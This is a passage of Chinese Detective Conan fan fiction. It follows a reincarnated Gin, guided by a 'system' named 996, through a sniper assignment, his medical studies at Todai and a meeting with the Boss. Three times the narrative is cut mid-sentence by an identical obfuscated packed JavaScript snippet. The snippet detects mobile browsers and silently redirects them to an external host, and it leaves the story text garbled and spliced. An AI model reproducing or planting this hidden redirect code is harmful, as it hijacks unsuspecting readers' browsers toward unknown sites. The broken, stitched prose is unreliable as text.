但琴酒并不认为这只是单纯的掌控欲在作祟,这明显是乌丸莲耶太过胆小的真实写照。奥古斯汀跟他之间的对话不超过五句,就让老家伙忍不住出言试探,这简直讽刺到让人想要发笑。琴酒没有经历过组织最为辉煌——或者是高速发展的时期,也许乌丸莲耶曾经很有人格魅力,不然也不能引得诸多优秀的人才追随,并且建立起强大的暗夜帝国。但在琴酒获取了代号的今日,从迷障中挣脱出后,他才明显地察觉到,组织内部的结构已经冗余繁杂到开始给这艘巨舰拖后腿了。 而这艘巨舰的船长,似乎也开始被无尽的迷雾干扰了原本很是精准的判断,他变得优柔寡断,甚至无法成为其他船员的指引者,这难道不可怕吗? 哪怕没有所谓的剧情惯性,没有正方的围剿,组织仍旧会走下坡路,只不过覆灭的时间会远一点……大概。 琴酒垂下眼眸紧紧盯着BOSS发送过来的寥寥数语,他食指轻动,飞快编写出一段诚恳中不失恭敬的回信。 然而他的表情仍旧如寒冰般冷硬,在手指按在发送键的那一瞬,电光火石间,他突然想到了奥古斯汀的拥抱,还有维托里奥的亲近。 ……那真是高位者的随性使然吗?还是毫无深层含义的闲谈? 琴酒把手机丢到沙发角落,随即掏出了维托里奥先生递给他的名片——那是一张摸起来手感很好的纸质名片,黑色为底,印着烫金的家徽。 虽然关于‘教父’的家族,他只听到过些许传闻,轮回数次也没有实质性的接触,但在他对那个家族浅薄的认知中,带有这种烫金花纹的……似乎并不是普通的社交名片。 那么维托里奥将名片送到他手上,并且没有让其他人看到,或许有更深层次的含义在。 琴酒缓缓露出一个颇为兴味的笑容,他对任何与最初以及之后的轮回有区别的地方都十分感兴趣。 那将是他隐藏在暗处的筹码——维托里奥或是奥古斯汀,在某种程度上也可以变成他的工具人。 “换个话题,”他翘起二郎腿,颇为随性地将身体的重量交给沙发,“我该怎么填充世界本源?” [前往其他尚未进化完成的二级位面,并且深度介入其中]996回答。 “你似乎并不害怕我将其他的嗯……二级位面?搞得一团糟。”琴酒试探性地开口。 [越是正面的反馈,越有助于您提高效率。] “啧。” 琴酒很是直接地表达了自己的不爽。 8. 六 十九岁的自己每天都在做些什么? 如果让正值壮年的琴酒来回答,他可能不会记得——如同他这种有今日没明日的亡命之徒,每天做的事情无非就是那几种,杀人灭口、敲诈勒索,唯一听起来正经点儿的工作大概是谈生意,虽然被放在交易桌上的物品多数都不怎么正常。 ……不知道为什么,突然感觉自己的童年和少年时期经历太过贫乏,贫乏到让人几乎不想去回想,不如说,从小到大都生活在那种扭曲的、超出常规的环境中,琴酒从来没有过正常的童年体验,更别说什么青葱岁月了。 如果用匕首划破人的喉管也算青葱岁月的话,那还是有一些温馨经历的。 完全是从未成年时就开始体验昼夜颠倒随时加班的社畜生活啊——! 如今想来,当年的他居然能够接受这种工作并且一路干到了BOSS左右手的职位,又何尝不是因为在组织内部拥有‘要么向上爬、要么就去死’的企业文化呢? “我真受够了没有固定上班日和单双休、凌晨三点钟也要爬起来毁尸灭迹、夜生活是在楼顶打狙和对企业家与高官敲诈勒索的工作了。”琴酒深沉地坐在窗边的扶手椅上抽了支烟——他不太喜欢这玩意儿,但不可否认,尼古丁让人能够获得短暂的极度清醒状态。他透过烟雾望向窗外,夜晚的东京霓虹灯闪烁,是标准的大都市,大家可以笑着闹着结伴去逛街、泡吧、唱K玩个通宵,第二天继续穿着整洁的衣服去工作,又有谁能知道还有数不清的罪恶和混乱隐藏在黑夜中呢? [您的确应该换一份工作。]996表示赞同,[比如说现在就去拯救世界。] “急什么?” 琴酒冷笑着用力将烟蒂按在烟灰缸里毁尸灭迹,他起身去洗手间试图洗掉沾染在手指上的烟味儿,随即开口回应道,“刚刚接到邮件,我得去协助某位前辈‘灭个口’。” 他的语气嘲讽极了,优等生对高年级学渣前辈的嫌弃溢于言表——虽然不知道在这种组织里当个学霸有什么可骄傲的地方。 总而言之,经历了数次轮回之后,琴酒悟出了一个道理:加班是狗屎,垃圾企业文化也是狗屎,让他不爽的一切都是狗屎。 或许是感受到了少年杀手的怨气,996很明智地选择了闭嘴。 琴酒换上了工作时的惯常装扮——暗色的高领衫,遮住了身体和脖颈,那儿也是要害之一。黑色的风衣稍显宽大,但是它内侧的暗袋可以容纳诸多零零碎碎的小物件,包括并不限于微型炸··弹和匕首甚至是手雷,他有的时候甚至还能在里面藏点便于携带的重型武器,方便特殊情况下送蠢货们上西天。 ……这种工作强度,真的需要早点辞职吧。 哪怕996只是个没有情感的造物,它也不得不发出此等感慨。 琴酒按住扣在发顶的黑色礼帽,出门后独自驱车前往了跟那位前辈约定好的地点,他在回到日本之后从安全屋的邮箱里拿出了一本驾照——很好,终于不需要无证驾驶了。每到这时,他都无比想念沉默可靠的伏特加——那是他的最佳搭档和专属司机,每次出任务的时候,对方都会及时出现并且将他送到任务地点,那家伙甚至能在堵车的时候寻找到更便捷隐蔽的小路,极大地提高了琴酒的任务完成率。 ……这才是让他越来越忙的罪魁祸首吧! 在伏特加尚未出现的今天,琴酒也只是被高层看好的代号成员之一,他没有资格挑选一位固定搭档,所以只能单打独斗,更何况,他还没有长成能够对别人产生威胁的程度,所以现今琴酒能得到的关注虽然有,但却不多。 很方便他在背地里吐槽无良老板和蠢货同事。 本次他负责协助的前辈是代号成员金菲士,那是一款以Gin为基酒的鸡尾酒,拥有这一代号的成员是一位看起来有些落拓的中年男性,身高中等,穿着棕色的皮夹克,等候的时候就这样斜斜靠在一旁的车上,口中叼着仍旧在燃烧的香烟。 “哟,晚上好。” 他见人来了,颇为随性地抬手打了个招呼,琴酒与金菲士对视,发觉对方拥有一双倦怠的眼。 最初的最初,他可没有接到这种任务,是因为宴会上奥古斯汀的行为所致吗?那可真是……太有趣了。 “Gin。”他压低了帽檐,提了提手中的琴盒,并未回应来自同为代号成员的前辈的问好,“我的任务是?” 中年男人的笑容收回了些许,他瞪着一双死鱼眼回望过去,“你能遵循一下最基本的社交礼仪吗?不然真的会让我很尴尬。” “……” 每当琴酒沉默的时候,他都认为这不是自己的问题,而是其他人有问题。 金菲士,哪怕是最初,他与对方也几乎从未有过交集,那家伙曾经是美利坚分部的成员之一,名义上受贝尔摩德管辖,实际却非常自由。对方曾经短暂地在日本活动过,实力还算不错,但却是出了名的独行侠,后来便又被调回到美国,之后就没什么消息传出来了。 他的消息再次传到琴酒耳中,是组织已经日薄西山之时,听说美利坚分部的基地被FBI派出的精锐围剿,金菲士便死在了那场战斗中。 倒也算不上意外。 “……fine。”男人无所谓的耸了耸肩。 金菲士拥有一半西方血统,但容貌却偏向于东亚人种,这很好地中和了他的攻击性。从表面上来看,这家伙更像是普通的自由职业者,无论从形象还是气质上都与大众刻板印象中的黑恶势力成员沾不上边儿。 “我需要一个狙击手,而贝尔摩德向我推荐了你。”他清了清嗓子开始说正事,“是情报窃取的任务,我需要潜入那栋写字楼的六层去目标的办公室,并取回存有对方与组织交易证据的储存卡。” “而你的任务,就是在他出现的时候……boom!”他身处拇指和食指,比了一个手势,“将子弹射入他的脑袋。” “现在是晚上八点钟。”琴酒的言下之意是对方很有可能不会在这种时间出现在自己的办公室,要知道他完全没有兴趣趴在楼顶等一整夜,直至目标人物出现。 他才不干这种无聊的工作。 “这位田中社长一定会出现的。”金菲士神秘地笑了笑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345425|183503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我‘借用’了他的行政秘书的手机,并且用对方的口吻向田中先生发送了一封邮件,约他九点钟见面。” 琴酒蓦地了解了对方的计划,看来那位行政秘书与田中社长之间有一些不清不楚的关系。 “秘书在?” “在她该在的地方。”金菲士竖起食指放在唇前,另一只手将任务目标的资料递了过去,“你可以选择合适的狙击点,不过田中社长平日里对自己的安危非常看重,加之他已经有了想要同组织翻脸的念头,所以要提防他留有后手。” 琴酒抬眼,冷声道:“这就不是你需要关注的事情了。” 他提着琴盒转身向马路对面的阴暗小巷中走去,一袭黑衣,很快便溶于夜色之中。 “冷漠的小鬼。” 金菲士无奈地抓了抓头发,随即也向自己早早便确定好的任务地点走去。 ……总而言之,早些完成任务,他们也能早些回去睡觉。 琴酒很快便找到了合适的狙击点,是斜对面商业大楼的天台处。商场关闭的时间是晚上八点三十分,此刻顾客只有寥寥数人,绝大部分都已从这里离开。琴酒当然没有光明正大地走上天台,他从后方的消防通道绕了出去,避开顾客群体和工作人员,推开了几乎从未有人使用过的厚重大门,顺着杂物间、从通风口处直接到达了狙击地点。 风速尚可、光线充足、手中的狙击枪是自己的老伙计,性能完好,很是趁手。 “就位。”他飞快地组装好手里的狙击枪,在已经选定的地点敲了敲耳机,示意金菲士自己已经准备完毕。 时间来到了夜间八点三十五分,商场内的灯光陆陆续续被关闭,游人已经全部离去,还有十分钟,工作人员也会尽数离开。 “你不必如此严肃。”金菲士尚有闲心与琴酒闲谈,他很灵活地越过了可能拥有监控的地方——如今电子监控尚未完全普及,然后动作轻盈地向自己的任务地点走去。 平心而论,琴酒觉得这家伙偷感很重。 夜间八点五十分,金菲士成功破解了保险柜的密码,并且将田中社长留下来的纸质文件和储存卡都成功拿到手中。 八点五十二分,琴酒调整好姿势,瞄准镜瞄准、计算风力、弹道,然后…… 扣动扳机。 “任务完成,我撤了。” 琴酒起身,毫不留情地提着狙击枪就要离开,他才没兴趣欣赏倒在楼下的尸体,更不想关注接下来的扫尾工作。 那都是金菲士的活儿。 “小子,你不够意思!” 金菲士骂骂咧咧准备撤退,枪声响起之后不久大抵就会有警察前来,到那时可就不好脱身了。 他甚至还得趁着那群家伙还没抽出时间去田中家的现在,快些赶过去仔细搜查一番,希望对方别留下任何跟组织有关的真实记录。 “好歹也给我打个掩护!” “真不好意思,”琴酒把琴盒塞去后备箱,一脚踩住油门扬长而去,他冷笑着应对了临时搭档对他的不满。 “我可是不加班那一派,金菲士。” 9. 七 琴酒并不想知道[那位先生]究竟为什么会把酒名当成组织主要成员的代号,这听起来真的会让人觉得老头子是否真的想要将开个酒厂当成最终目标。 说真的,蠢透了,而且总有一种酒精含量超标的错觉。 任务完成后,琴酒在夜间十点钟之前返回了自己的住处。 他选中了一部文艺电影,舒舒服服地躺在床上开始一边看电影一边喝酒——随便从酒柜里拿出两瓶,不管它们是什么种类,随随便便倒进杯子里混合,再加上三四枚冰块,颇有些开盲盒的爽感。组织内部有些人知道他拥有一半俄罗斯血统,当初甚至还要把他的代号设为‘伏特加’。对此琴酒只想说,刻板印象要不得,以及,没有把‘伏特加’安在他身上做代号,这大概是BOSS做过的、最符合他心意的事情。 当然,他那个骨灰都不知道被扬去哪里的老妈还没有活到飞快变老发福的年纪就赶着跟自己的私奔对象一起去见上帝了,死前仍旧是肌肉匀称身材高挑的红发辣妹,琴酒对父母的记忆非常浅薄,只知道他们两个人的颜值很高……是真的高。 能让完全不在意外貌的琴酒仍旧无法忘怀,不难想象那该是一对外貌有多么让人惊艳的情侣。 可惜他们生了个看起来就像是个反派实际上也仍旧是反派的儿子。 老妈很符合别人眼中俄罗斯大毛熊的刻板印象:身高187cm,体重86kg,肱二头肌比人脸大,喝酒对瓶吹,一瓶伏特加下肚顶多脸上稍有红晕,甚至还能声音嘹亮地唱一首喀秋莎。至于他爹,也是刻板印象的丹麦绅士,在那个普遍都是巨人的国家更是巨人中的巨人,琴酒最为深刻的记忆就是小时候被爹妈轮流扛在肩上,感觉自己伸手就能碰到天边的云。 ‘你们的孩子没有超过190cm真是对不起啊’,琴酒语。 之所以又回想起那些不同于血色的记忆,大抵是因为今夜的文艺电影既视感过于严重,让他总是幻视老爹老妈整天挂在嘴边的为爱浪迹天涯。 然后他们骨灰就被扬了,真是个悲伤的爱情故事。 琴酒又将玻璃杯中的酒液喝得一干二净,任由辛辣灼人的液体灼烧他的食道和胃部。感谢继承自母亲的酒量,让堂堂的杀手先生不至于变成一杯倒,屏幕定格在男女主角牵着手奔向港口的那一幕,琴酒按下了暂停键,然后举起空掉的酒杯,对着空气轻轻一碰—— “敬爱情。” 那之后的故事,他就没兴趣继续看下去了。 看电影不如睡觉、喝酒不如睡觉、写述职报告不如睡觉。 琴酒认为自己经过数次轮回和被一个不知道是什么出品的玩意儿强行带来拯救事业已经很糟心了,所以他不能让自己的日常再被数不清的工作和加班代替。刚刚成为代号成员又怎么样?被人暗中嫉妒排挤,影响自己把所有人干翻吗?不影响。 就连日后宾加那个狗东西也只会逞口舌之利而已。 [消极怠工并不可取,先生。]996在琴酒进入梦乡之前这样提醒。 “我需要做好准备,这样才能更好地完成工作,不是吗?” 琴酒甚至已经不再嘲讽996了,他学会了态度平和地与对方交谈,并且很是善良地解释了自己所作所为的用意。他认为,这或许就是某种意义上的成长,虽然他并不想得到这种成长机会——因为付出的代价未免太大了点。 并不想再体验一下被炸弹炸成糊糊是什么感觉。 [所以您的准备是?]996虚心求教。 “睡上一觉,六点钟起床,明天早上发送任务报告,然后准备开学报到。” [???] 996宕机,并且大受震撼。 “我才19岁,读大学也很正常吧,组织内部又不是只存在文盲和废物。”琴酒裹住被子翻了个身。 很好,996的反应证明了它并非万能,至少对方并不清楚在‘剧情外’自己的过往和现有的生活方式……或许是‘不在意’?所谓剧情里的琴酒对996来说似乎更像是一个单纯的符号,对别人认识自己有些参考性,但不多。 “人类是多变的,搭档。”进入梦乡之前,他对996这样说,“我不可能只是‘琴酒’啊。” 996沉默,然后贴心地给琴酒360°环绕立体声播放了助眠ASMR。 一夜好梦。 经过无数次重开的琴酒自从悟出了一切悲剧都源于工作的道理之后,就很是愉快地把自己当成了退休员工。他可不想一边拯救世界一边又提着枪去跟人火拼,所以大清早起床给自己做了三明治又磨了一杯咖啡之后,琴酒很是坦然地给贝尔摩德发送了邮件,用诚恳的语气和非常正式的态度向那个女人索要了任务总结的模板。 谁要一个字一个字敲啊,他已经不再是一周目的自己了,十周目的自己又不傻。 两分钟后,贝尔摩德发送了一份任务总结模板过来,并且发送了六个圆点证明自己确实很无语。 帮大忙了,琴酒如释重负,然后在模板上删删减减又敲了几个字润色一下,点击发送。 至于刚刚将任务目标家里又犁了一遍、顺便耍了警方和公安一通、刚刚回到安全屋的金菲士,仍旧挂着两个硕大的黑眼圈咬牙切齿地写着任务总结,让我们恭喜金菲士,并为他加油助力。 将一头长发束成马尾的琴酒换上了浅棕色的休闲风衣,气势稍稍收敛一二就能够完美地适配青春男大。他当然可以上大学,甚至还是从正正经经的高中考去了东大,因为跳过级的缘故,如今已经快要毕业。 [那位先生]非常欣慰,觉得学霸属性的杀手也很难得。 ……无论如何都很不对劲吧。 “这叫与时俱进。” 当初送琴酒入学的是组织医疗部负责人尼格罗尼,对方现年三十五岁,看外表是典型的日本女人——长着一张五官轮廓十分柔和的面容,气质温婉且无害。但琴酒从来没有瞧不起对方,因为这家伙完完全全就是个黑二代,从她早死父亲身上接过‘尼格罗尼’这个代号的时候,对方才十五岁。 如今她已经是组织医疗部的无冕之王。 女人温柔地替他理了理有些皱褶的衣领,然后细声细气地嘱咐着,就像是在担忧第一次离家的幼弟:“你的成绩足以引起别人注意,不要暴露了自己的身份。” “……这样优秀的孩子偏偏要去杀人的那方,真是暴殄天物,所以要好好研学啊。” “……尼格罗尼。”站在东大校门口的琴酒很是无奈,他低声回应道,“说这话之前,至少不要忘记昨天被你用手术刀割断喉管的可怜人。” “哎呀哎呀,那只是一点小小的威慑,跟我治病救人并没有任何冲突哦。” 她微笑,连眉眼都变得温柔了起来,哪怕穿着米色的针织衫也像是大和抚子再世,“那么,祝你大学生涯愉快,亲爱的麦考利。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345426|183503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而如今,琴酒将要从这所学校毕业,他在医学研究部专攻外科学,以脑外的方向更为擅长,神经内科也颇有涉猎,不过只是初步了解而已,成绩最出色的学科是解剖学,现在是基础系统解剖学教授的助教之一。 负责脑外科教学的久保川教授很想让麦考利先生继续在他手下读研,如今双方正在互相磨合中,而另一位教授想让麦考利去国外深造,被琴酒拒绝了。 毕竟现在他的主要任务地点都在日本总部,如果去了美利坚或是加拿大,[那位先生]可不会愿意做这种亏本买卖。 麦考利·杰拉尔德,是他在表世界使用的身份,出现的机会不多,但足够他在普通人当中过着普通的生活。谁又能想到在黑夜之中让人闻风丧胆的杀手却在读原本要拯救生命的学科呢?最初的最初,他可是读完本科就直接毕了业,继续给组织当牛做马,而现在…… 学习让人进步,所以[那位先生]一定不会阻拦他进步的,对吧? 这样想着,琴酒——或者是杰拉尔德先生先生挂着虽然不是很明显但却足够让人感受到友好态度的笑容向久保川教授的办公室走去。 他想,他可以在开学季向这位教授先生表达一下自己想要继续深造的意愿,想必对方一定不会拒绝。尼格罗尼会很喜欢这种剧情走向,因为那女人总想着找个好手替她分担医疗部的工作,在她眼中,大部分医疗部的成员都是庸才,包括她的副手。 至于当年的麦考利后来的琴酒是行动组冉冉升起的新星?尼格罗尼只会表示:拿来吧我的小宝贝儿我的人才。 嗯……希望[那位先生]喜欢他的这份大礼。 “啊——!是上次那个说了莫名其妙一段话的怪人!” 不远处的黑皮小子叽叽喳喳,让时刻警惕着周围的琴酒不由循声望去。 ……高中生跑来大学做什么?提前感受校园氛围吗? 怎么哪儿哪儿都是你们两个?波本威士忌、苏格兰威士忌? “太失礼了吧。”琴酒停下脚步,他稍稍拧眉,很好地伪装成了在走路途中被打扰的普通人,“被称作‘怪人’是什么的。” “明明是你上次跑来说了一堆奇奇怪怪的话吧。”很显然,降谷零更为大胆,虽然像是在冲动驱使下的质问,但琴酒却敏锐地察觉到对方的确想要探究些什么——所以这就是天生的情报人员吗?抛开对方是卧底这件事,朗姆还真的捡到宝了。 “因为你们当时用一种很微妙的眼神看了我很久,包括你、还有你。”琴酒指指点点,“感谢我的宽宏大量吧,小鬼们——说起来,我记得今天并不是学校开放日?你们是高中生吧。” “非常抱歉,我们只是来这里找人。” 常识派诸伏景光下一刻按住降谷零的头很是利落地鞠了一躬:“我叫诸伏景光,那家伙是降谷零,对于上次的冒犯,是我们不对……请您原谅。” ……果然苏格兰看起来比波本更加顺眼,琴酒想。 “算了,遇到别人的话,你们可就没那么好运了。” 他装作毫不在意地摆了摆手:“麦考利,日本名是黑泽阵,是这所学校的学生,以后有缘再见吧。” “很厉害呢,这位先生。” 待到琴酒走远后,学霸诸伏景光发出了对同为学霸的青春男大黑泽阵的钦佩之情。 “所以可以把你的手从我的头上拿来了吗?hiro?” 降谷零咬牙切齿。 10. 八 越是高等的学府,越能让人感觉到治学严谨所带来的正向氛围感。哪怕在旁人眼中冷酷如琴酒也很喜欢漫步在校园中的感觉,这让他可以暂时远离那些该死的工作和任务,将整个身心都投入到学术当中,享受最为纯粹的日常。 顺着一条寂静的林荫道小路继续向前,再走上十分钟就能来到久保川教授所在的办公楼。虽然已经临近开学,但绝大部分学子尚未回到学校,因为一周后才是学生们的返校时间,琴酒在这时前来,理由自然是想与久保川教授交谈一二,或许这些与往昔截然不同的细节会帮助他开辟出另外一条更加适合自己的道路,琴酒是做出决定就不会后悔的类型,他从未想过改变过去的经历会造成何种未知的后果,无论是好的还是坏的,对他来说都是可以利用的细节。 久保川教授的办公室位于办公楼三层,是最里面的一间单独的办公室。琴酒在门前站定,屈指敲响房门,等待对方的回应。 “请进。”沉稳的声音响起,琴酒闻言推开那扇深棕色的大门,然后与办公桌后方的男性四目相对。 久保川智也,是在精英云集的医学部仍旧能够占据一席之地的优秀医者,那是个看起来个子不算太高的中老年男性,虽然年纪不算太大,但头发却白了大半——他甚至不肯用黑色的染料遮掩一下。对方拥有一双平静的、智慧的眼,不笑的时候有些严肃,但是笑起来又带着一股儒雅之气。哪怕是高傲如琴酒也不得不承认对方的优秀,久保川教授是专注于学术和自身专业的、纯粹的医者和学者,对人际关系不是很擅长,没有政治立场,不去参加毫无意义的集会,在全国乃至于世界性的期刊上发表了数篇论文,甚至还参与了一些专业教材的编撰。他的妻子是哲学系的教授,同样是一位让人尊敬的学者,这对夫妇并没有养育后代,他们现今仍旧精神矍铄,无需别人照看。 对方曾经就职于一家综合性医院,成为主任之后第七年被大学聘请为讲师,直至今日。 “假期还算愉快吗,黑泽?” 久保川教授的面前放着氤氲了热气的茶杯,这让他的严肃表情被柔和了些许,看起来心情似乎不错。他甚至对自己的得意门生眨了眨眼,颇有些老顽童的意味:“有没有跟喜欢的女孩子约会?” ……所以说就是这种表面上看起来很严肃实际却是老顽童的单纯学者更让人难以招架啊,琴酒想。 无论是第一世还是现在,他都不太擅长跟久保川教授打交道,这种类型的人多数比较单纯——特指对方的脑回路。不过现在,跟小老头交谈总比跟BOSS说话要让人舒服得多,至少只想让他继续深造的久保川教授并不想把他压榨到死。 “……您说笑了。” 琴酒坐到了教授对面的那把椅子上,他回应时的语气带着对幼稚的老家伙的包容感,这种形容词放在杀手先生身上很是奇怪,但不可否认的是,在这位教授面前,他的情感总是偏向正面并且更加丰富。 “其实假期的时候一直想要去拜访您和师母,但因为个人原因没能成行,”他的嗓音低沉,语速放慢讲起话来态度就显得尤为真诚,“……单单是因为这点,就让我有些汗颜了。” 久保川教授听了这话倒是有些诧异,他只是单纯地不理会俗事而已,并非不懂人情世故。听了这话,他上下打量了琴酒许久,才颇为兴味地开口道:“圆滑了不少呢,黑泽君,我记得你上个学期还对所谓的日式社交准则颇为不耐,现在居然变得谦虚又礼貌起来了吗?” 虽然知道久保川教授的本意并非是嘲讽,但这种说法着实有些…… 算了,不能对社交点数为负数的老头子太过苛责。 “这些都是我的真心话啊教授。”他无奈地叹息道,“因为被各式各样的琐事绊住了脚步,导致我一整个假期都在忙碌中度过,明明早就给您准备好了上门的礼品,是您最喜欢的和歌集孤本,只可惜没能送出去。” “这次与您约好见面,也是为了谈谈之后的规划。”他将手中装有书本的纸盒放在桌案上推了过去,轻声开口道,“只是说过并不想继续在专业方向继续深造,但是现在我改主意了。” 说起专业方面的相关话题,久保川终于变得正经了一点,他皱起眉时,眉心中央会印上深深的沟壑,让人看了也免不了心生惧怕。他曲起手指轻轻敲了敲桌面,声音也严肃起来:“我仍旧要重申之前的看法,黑泽。” “学术研究是一件很严肃的事情,朝令夕改可不是美德,所以这次你确信自己做好了决定吗?” “……我的父母很多年之前就去世了,那时的我还不足十岁。”出乎教授意料的是,琴酒下一刻居然讲起了他自己的故事,“之后我辗转于各个福利院和寄养家庭中,您知道,我这样的外国人在日本总是会被大部分人另眼相看的,这并不是什么好事。” “有好心人资助我读书,并且负担起了我的日常生活费用,作为交换,我需要在成年之后进入他们的企业工作,也算是等价交换,但您知道,如果继续深造的话……我短期内不会有机会为他们创造价值,资助我的那位先生并不涉猎医学。” “但你仍旧选择了我的专业。”久保川的声音变得有些沉闷。 “是一位长辈,她也同样在那位先生的企业供职。对方说,无论如何也要让我尝试一下自己感兴趣的事情,故而那时候我才报考了医学部。”这话琴酒说得十分诚恳,其实当年他选择本专业,一是因为尼格罗尼的劝说,另一个理由就是他想要更加深入地了解人体,方便随时随地给任务目标搞点儿有新意的死法——要知道,偶尔组织内部的行动组成员也会接取暗网上的任务,总有些委托人的想法比较天马行空,难搞程度堪比魔鬼甲方,所以杀手们也要与时俱进,成为全方位的综合性人才,这样才能给组织打出名声、打出水平,并且做大做强。 ……无论如何,努力的方向都有些不对吧。 “所以为什么又改了主意?你说服了自己的资助人……?等等,我找点儿东西。” “还没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345427|183503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不过这已经不再重要了。”琴酒的唇角缓缓勾起,他露出了一个酒精度超标的笑容,恰巧没有被低头在抽屉里寻找个人名片的教授先生看到。 “我会说服他,”他在某些词汇上用了重音,“其实那位资助人先生很是善解人意,多年下来,对 方也把我当成亲近的后辈……无论如何,我都会用自己的方式‘报答’对方,要知道,让我继续研学能够获得的收益可比大学毕业之后就跑去他的公司工作要大得多。” “喏,我的名片。”久保川把自己的私人名片递了过去,“完完全全的商人思维啊,黑泽……这是我的对外联系方式,如果可以的话,让我与那位资助人聊一聊也可以。” 东大教授与组织boss对谈?是完全没办法想象的场面,琴酒可不想让单纯的小老头沾染到那种脏东西。 “这种事情就不需要劳烦您出马了,我自己完全可以。” 谈话告一段落,琴酒的目的已经达到,就没必要继续打搅对方了。他站起身,对久保川教授颔首道:“对于接下来的测试,我会全力以赴,所以教授您之前说过要开展的课题,可以算我一份吗?” “先考到我名下再说以后吧,臭小子。” 久保川教授长舒一口气,笑骂道。 拜别了自己未来的导师之后,琴酒转头离开了这所学校。他给尼格罗尼发送了一封邮件,大致内容就是:我决定继续在东大医学部深造了,如果没意外的话,读完硕士甚至还可以继续读博。 两分钟之后,尼格罗尼回复了三个巨大的感叹号。 「这让我十分意外。」996的措辞愈发拟人化,「这样的话,您的个人时间会进一步减少,很不利于进行修补工作。」 “你是在质疑时间管理大师的专业性吗?”琴酒冷哼。 ooc了啊杀手先生! 当年他可是能够单枪匹马三天两夜清完二十多张任务清单的永动陀螺,连朗姆都甘拜下风。 那次任务结束之后,boss给他放了整整半个月的假,生怕他当场猝死,然后琴酒就在组织里出了名,谁都知道行动组的Gin就像是个机器人一样不知疲倦,任务完成率也高得吓人。 他跟996一路闲聊拌嘴,倒是显得颇为闲适。进行世界本源修补势必要前往其他位面收集能量,幸运的是,两方时间流速并不等同,所以他完全可以在自己的休息日或闲暇时间去其他位面进行能量收集,收集告一段落后再回到本位面继续自己的学业和……嗯,工作。 完全不会浪费时间也不会引起别人的怀疑呢! 「那么您的前期准备做好了吗?」 “很快了,耐心也是一种优秀的品质。”他转去一旁的便利店,准备买几份速食面充当午饭和晚饭。 不知道为什么,琴酒突然觉得996其实并不是什么世界线稳定维护装置,它一定是黑心工厂的造物,专门捕捉人类无休止打工那种。 某种意义上……的确如此呢。 11. 九 速食面很难吃。 琴酒不知道便利店里的畅销拌面为什么会难吃到这种地步,他只知道,自己的好心情被该死的腥味儿和工业辣酱背刺到消失殆尽。秉承着不要浪费的原则,阴着一张脸的琴酒将一碗拌面解决完毕,然后将所谓的‘新宿限定’速食面彻底拉入了黑名单。 美食会抚慰人的心灵,但这其中并不包括垃圾拌面和任务期间的干巴巴能量棒,琴酒的坏心情持续到傍晚,然后就被BOSS用一封邮件叫到了地下训练基地。 不知道为什么,感觉心情变得更坏了。 可怜的代号成员琴酒先生独自驱车前往地下基地,[那位先生]仍旧秉承着神秘至上的原则,偌大的房间里空旷到只有巨大的电子屏幕和一堆隐藏在暗处的摄像头,这些玩意儿让琴酒的不适感在一瞬间达到了顶峰。 BOSS有什么偷窥癖吗……?搞不懂。 “我一直对你寄予厚望,孩子。” 不分男女的平直电子音响起的时候,饶是琴酒也不由恍惚了一瞬。他曾经无数次这样站在电子屏幕面前,用恭谨的态度浪费着自己的宝贵时间听一个连真实声音容貌都不敢显露于人前的老家伙在这儿嘚啵嘚啵,更可怕的是,[那位先生]不仅会说没有营养的垃圾话,还会用潜移默化的本事来给每一位见到他的代号成员洗脑。 越是被他看中的成员,洗脑的程度越是严重。电流声、说话声调的改变、隐藏在人声后的杂音,都有可能是构成洗脑包的要素之一。 琴酒一直不太理解当年自己仅仅是想要活着——想要更多的钱、想要更随心所欲、想要吃一顿饱饭,仅仅是这样的理由,怎么可能会对一个混乱臃肿的组织如此忠诚?或许他应该感谢996,不管这家伙的真实目的是什么,但至少,BOSS的洗脑强度比不上数次死亡产生的痛苦,那一瞬间的清明加上996在脑子里的循环快板足以让他生出些许违和感。 “我的荣幸,先生。”他把屏幕另一端的老家伙想象成了自己退休之后的福利发放人员,终于压住了几乎要蔓延而出的杀意。现在的他当然无比忠诚——没有谁会对自己的饭票说NO,毕竟现在的老家伙很大方,让他能够随随便便购买许多价值不菲的红酒。 “我看到了贝尔摩德上次的任务报告,还有你的。”BOSS停顿了片刻,他很难得地直击重点,而没有用其他的话术来铺垫,“看来奥古斯汀仍旧身体硬朗,他有什么话要带给我吗——?并非是合作上的,而是基于个人层面的话语。” “他只说,乌鸦又寻找到了一柄利刃,除此之外他什么都没有对我说,先生。” 琴酒平静地说出了这种几乎称得上是自夸的话,他的确没有说谎,奥古斯汀只是单独跟他聊了几句而已,对方可没有露出什么超出正常社交礼仪的倾向。 有倾向的是维托里奥先生,但这他会说出口吗?当然不会。 